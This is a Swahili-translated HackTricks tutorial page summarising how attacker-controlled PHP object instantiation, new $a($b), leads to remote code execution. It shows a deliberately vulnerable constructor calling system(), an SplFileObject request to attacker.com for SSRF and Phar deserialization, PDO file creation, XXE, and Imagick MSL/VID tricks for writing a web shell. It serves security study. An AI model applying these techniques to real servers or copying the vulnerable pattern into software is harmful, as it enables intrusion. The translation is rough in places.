PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Hii ni muhtasari wa https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Utangulizi
Uundaji wa vitu vipya vya kiholela, kama new $_GET["a"]($_GET["a"])
, unaweza kusababisha Utekelezaji wa Msimbo wa K remote (RCE), kama ilivyoelezwa katika andika. Hati hii inasisitiza mikakati mbalimbali za kufikia RCE.
RCE kupitia Madarasa ya Kawaida au Autoloading
Sintaksia new $a($b)
inatumika kuunda kitu ambapo $a
inawakilisha jina la darasa na $b
ni hoja ya kwanza inayopitishwa kwa mjenzi. Vigezo hivi vinaweza kupatikana kutoka kwa ingizo la mtumiaji kama GET/POST, ambapo vinaweza kuwa nyuzi au orodha, au kutoka JSON, ambapo vinaweza kuonekana kama aina nyingine.
Fikiria kipande cha msimbo kilichopo hapa chini:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
Katika hali hii, kuweka $a
kuwa App
au App2
na $b
kuwa amri ya mfumo (kwa mfano, uname -a
) kunasababisha utekelezaji wa amri hiyo.
Mifumo ya Autoloading inaweza kutumika vibaya ikiwa hakuna madarasa kama hayo yanayopatikana moja kwa moja. Mifumo hii inasababisha madarasa kupakuliwa moja kwa moja kutoka kwa faili inapohitajika na inafafanuliwa kwa kutumia spl_autoload_register
au __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Tabia ya autoloading inatofautiana kulingana na toleo la PHP, ikitoa uwezekano tofauti wa RCE.
RCE kupitia Madarasa ya Msingi
Kukosa madarasa ya kawaida au autoloaders, madarasa ya msingi ya PHP yanaweza kutosha kwa RCE. Idadi ya madarasa haya inatofautiana kati ya 100 hadi 200, kulingana na toleo la PHP na nyongeza. Inaweza kuorodheshwa kwa kutumia get_declared_classes()
.
Mifano ya wakandarasi wanaovutia inaweza kutambuliwa kupitia API ya reflection, kama inavyoonyeshwa katika mfano ufuatao na kiungo https://3v4l.org/2JEGF.
RCE kupitia mbinu maalum inajumuisha:
SSRF + Phar Deserialization
Darasa la SplFileObject
linawezesha SSRF kupitia wakandarasi wake, likiruhusu muunganisho na URL yoyote:
new SplFileObject('http://attacker.com/');
SSRF inaweza kusababisha mashambulizi ya deserialization katika matoleo ya PHP kabla ya 8.0 kwa kutumia itifaki ya Phar.
Kunutumia PDOs
Mjenzi wa darasa la PDO unaruhusu muunganisho na hifadhidata kupitia nyuzi za DSN, ambayo inaweza kuwezesha uundaji wa faili au mwingiliano mwingine:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Matoleo ya PHP hadi 5.3.22 na 5.4.12 yalikuwa na hatari ya mashambulizi ya XXE kupitia waandishi wa SoapClient
na SimpleXMLElement
, kulingana na toleo la libxml2.
RCE kupitia Imagick Extension
Katika uchambuzi wa mategemeo ya mradi, iligundulika kwamba Imagick inaweza kutumika kwa kutekeleza amri kwa kuunda vitu vipya. Hii inatoa fursa ya kutumia udhaifu.
VID parser
Uwezo wa VID parser wa kuandika maudhui kwenye njia yoyote iliyoainishwa katika mfumo wa faili ulitambuliwa. Hii inaweza kusababisha kuwekwa kwa shell ya PHP katika saraka inayoweza kufikiwa kupitia wavuti, ikipata Remote Code Execution (RCE).
VID Parser + Upakiaji wa Faili
Imepangwa kwamba PHP inahifadhi kwa muda faili zilizopakiwa katika /tmp/phpXXXXXX
. VID parser katika Imagick, ikitumia protokali ya msl, inaweza kushughulikia wildcards katika njia za faili, ikirahisisha uhamishaji wa faili ya muda kwenda mahali ulipochagua. Njia hii inatoa mbinu ya ziada ya kufikia uandishi wa faili bila mpangilio ndani ya mfumo wa faili.
PHP Crash + Brute Force
Mbinu iliyoelezwa katika andiko la asili inahusisha kupakia faili zinazochochea kuanguka kwa seva kabla ya kufutwa. Kwa kutumia brute-force jina la faili ya muda, inakuwa inawezekana kwa Imagick kutekeleza msimbo wa PHP bila mpangilio. Hata hivyo, mbinu hii iligundulika kuwa na ufanisi tu katika toleo la zamani la ImageMagick.
Marejeleo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.